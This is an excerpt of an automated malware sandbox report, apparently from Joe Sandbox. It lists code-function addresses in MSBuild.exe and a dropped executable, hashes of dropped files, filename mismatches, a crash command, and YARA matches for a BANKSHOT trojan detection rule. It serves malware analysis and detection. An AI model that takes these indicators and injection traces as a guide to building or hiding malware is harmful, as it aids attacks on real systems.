Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A3E50 1_2_6C5A3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5B2E4E 1_2_6C5B2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C584640 1_2_6C584640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56C670 1_2_6C56C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D6E63 1_2_6C5D6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A7E10 1_2_6C5A7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5B5600 1_2_6C5B5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C9E30 1_2_6C5C9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56BEF0 1_2_6C56BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C57FEF0 1_2_6C57FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D76E3 1_2_6C5D76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C585E90 1_2_6C585E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5CE680 1_2_6C5CE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C4EA0 1_2_6C5C4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A7710 1_2_6C5A7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C579F00 1_2_6C579F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C596FF0 1_2_6C596FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56DFE0 1_2_6C56DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5B77A0 1_2_6C5B77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C588850 1_2_6C588850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58D850 1_2_6C58D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5AF070 1_2_6C5AF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C577810 1_2_6C577810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5AB820 1_2_6C5AB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5B4820 1_2_6C5B4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D50C7 1_2_6C5D50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58C0E0 1_2_6C58C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A58E0 1_2_6C5A58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5960A0 1_2_6C5960A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58A940 1_2_6C58A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5BB970 1_2_6C5BB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5DB170 1_2_6C5DB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C57D960 1_2_6C57D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A5190 1_2_6C5A5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C2990 1_2_6C5C2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C59D9B0 1_2_6C59D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56C9A0 1_2_6C56C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A9A60 1_2_6C5A9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A8AC0 1_2_6C5A8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C581AF0 1_2_6C581AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5AE2F0 1_2_6C5AE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5DBA90 1_2_6C5DBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C57CAB0 1_2_6C57CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D2AB0 1_2_6C5D2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5622A0 1_2_6C5622A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C594AA0 1_2_6C594AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C565340 1_2_6C565340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C57C370 1_2_6C57C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5AD320 1_2_6C5AD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D53C8 1_2_6C5D53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56F380 1_2_6C56F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C61AC60 1_2_6C61AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6EAC30 1_2_6C6EAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6D6C00 1_2_6C6D6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C60ECC0 1_2_6C60ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C66ECD0 1_2_6C66ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6DED70 1_2_6C6DED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C73AD50 1_2_6C73AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C798D20 1_2_6C798D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C79CDC0 1_2_6C79CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C614DB0 1_2_6C614DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6A6D90 1_2_6C6A6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6AEE70 1_2_6C6AEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6F0E20 1_2_6C6F0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C61AEC0 1_2_6C61AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6B0EC0 1_2_6C6B0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C696E90 1_2_6C696E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6D2F70 1_2_6C6D2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C67EF40 1_2_6C67EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C750F20 1_2_6C750F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C616F10 1_2_6C616F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C610FE0 1_2_6C610FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6EEFF0 1_2_6C6EEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C758FB0 1_2_6C758FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C61EFB0 1_2_6C61EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6E4840 1_2_6C6E4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C660820 1_2_6C660820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C69A820 1_2_6C69A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C7168E0 1_2_6C7168E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C648960 1_2_6C648960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C666900 1_2_6C666900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C72C9E0 1_2_6C72C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6449F0 1_2_6C6449F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6A09A0 1_2_6C6A09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6CA9A0 1_2_6C6CA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6D09B0 1_2_6C6D09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C68CA70 1_2_6C68CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6C8A30 1_2_6C6C8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6BEA00 1_2_6C6BEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C68EA80 1_2_6C68EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C716BE0 1_2_6C716BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6B0BA0 1_2_6C6B0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C628460 1_2_6C628460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C674420 1_2_6C674420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C69A430 1_2_6C69A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6564D0 1_2_6C6564D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6AA4D0 1_2_6C6AA4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C73A480 1_2_6C73A480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C672560 1_2_6C672560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6B0570 1_2_6C6B0570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C758550 1_2_6C758550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C668540 1_2_6C668540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C714540 1_2_6C714540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6DA5E0 1_2_6C6DA5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C69E5F0 1_2_6C69E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6045B0 1_2_6C6045B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C66C650 1_2_6C66C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C66E6E0 1_2_6C66E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6AE6E0 1_2_6C6AE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6346D0 1_2_6C6346D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C690700 1_2_6C690700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C63A7D0 1_2_6C63A7D0
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_01828070 5_2_01828070
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0182E960 5_2_0182E960
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_01827858 5_2_01827858
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0182787C 5_2_0182787C
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_01827E28 5_2_01827E28
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0568DD20 5_2_0568DD20
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0568F470 5_2_0568F470
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0568F218 5_2_0568F218
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FCCF3 5_2_057FCCF3
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FDCC8 5_2_057FDCC8
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057F75E1 5_2_057F75E1
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057F6478 5_2_057F6478
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057F6468 5_2_057F6468
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057F2C38 5_2_057F2C38
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FDCC7 5_2_057FDCC7
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FA958 5_2_057FA958
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FA94A 5_2_057FA94A
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_057FEAE3 5_2_057FEAE3
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_06141B10 5_2_06141B10
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_06143201 5_2_06143201
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_06143036 5_2_06143036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004190A3 6_2_004190A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004186DC 6_2_004186DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0041732C 6_2_0041732C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064B4CF0 6_2_064B4CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064B66C0 6_2_064B66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064AEA80 6_2_064AEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064B9000 6_2_064B9000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064D7810 6_2_064D7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_064AF160 6_2_064AF160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06699390 6_2_06699390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0667AEBE 6_2_0667AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06699F80 6_2_06699F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06699A20 6_2_06699A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0660A2C0 6_2_0660A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_066316D0 6_2_066316D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06609430 6_2_06609430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06609CC0 6_2_06609CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0660F8D0 6_2_0660F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0662FD50 6_2_0662FD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06633920 6_2_06633920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0662D100 6_2_0662D100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_066261E0 6_2_066261E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06519A10 6_2_06519A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0659E2E0 6_2_0659E2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06549690 6_2_06549690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06538760 6_2_06538760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06594440 6_2_06594440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06513000 6_2_06513000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_065C8030 6_2_065C8030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06519C20 6_2_06519C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_065C24C0 6_2_065C24C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06514970 6_2_06514970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06528120 6_2_06528120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06599190 6_2_06599190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06654FB2 6_2_06654FB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06635CCF 6_2_06635CCF
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\DBAAFIDGDA.exe 9F619F332A9E5BD74A345778E86A871E9EFB087BFEA43ADE7CBF9F63A12151B0
Source: Joe Sandbox View Dropped File: C:\ProgramData\DGDBKFBAKF.exe 8B020CDE39D33B53F4C48A8C7EA30FB1F7854B13562508C0A1665FFD1397F7FC
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C79D930 appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C79DAE0 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 00401E83 appears 287 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C639B10 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C5A94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C59CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 00402000 appears 287 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C633620 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: String function: 6C7909D0 appears 157 times
One or more processes crash
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 2980
Sample file is different than original file name gathered from version info
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamePE.dll& vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000000.1663495902.0000000001020000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamefmradiosoft.exe$ vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1668500090.00000000014CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003431000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclrjit.dllT vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003431000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003431000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: $^q,\\StringFileInfo\\040904B0\\OriginalFilename vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGPgmshZsn.dll0 vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1679997283.0000000005D53000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameGPgmshZsn.dll0 vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000043DC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGPgmshZsn.dll0 vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1678671142.0000000005950000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenamePE.dll& vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Binary or memory string: OriginalFilenamefmradiosoft.exe$ vs 1lKbb2hF7fYToopfpmEvlyRN.exe
Uses 32bit PE files
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 1.2.MSBuild.exe.428038.0.raw.unpack, type: UNPACKEDPE Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
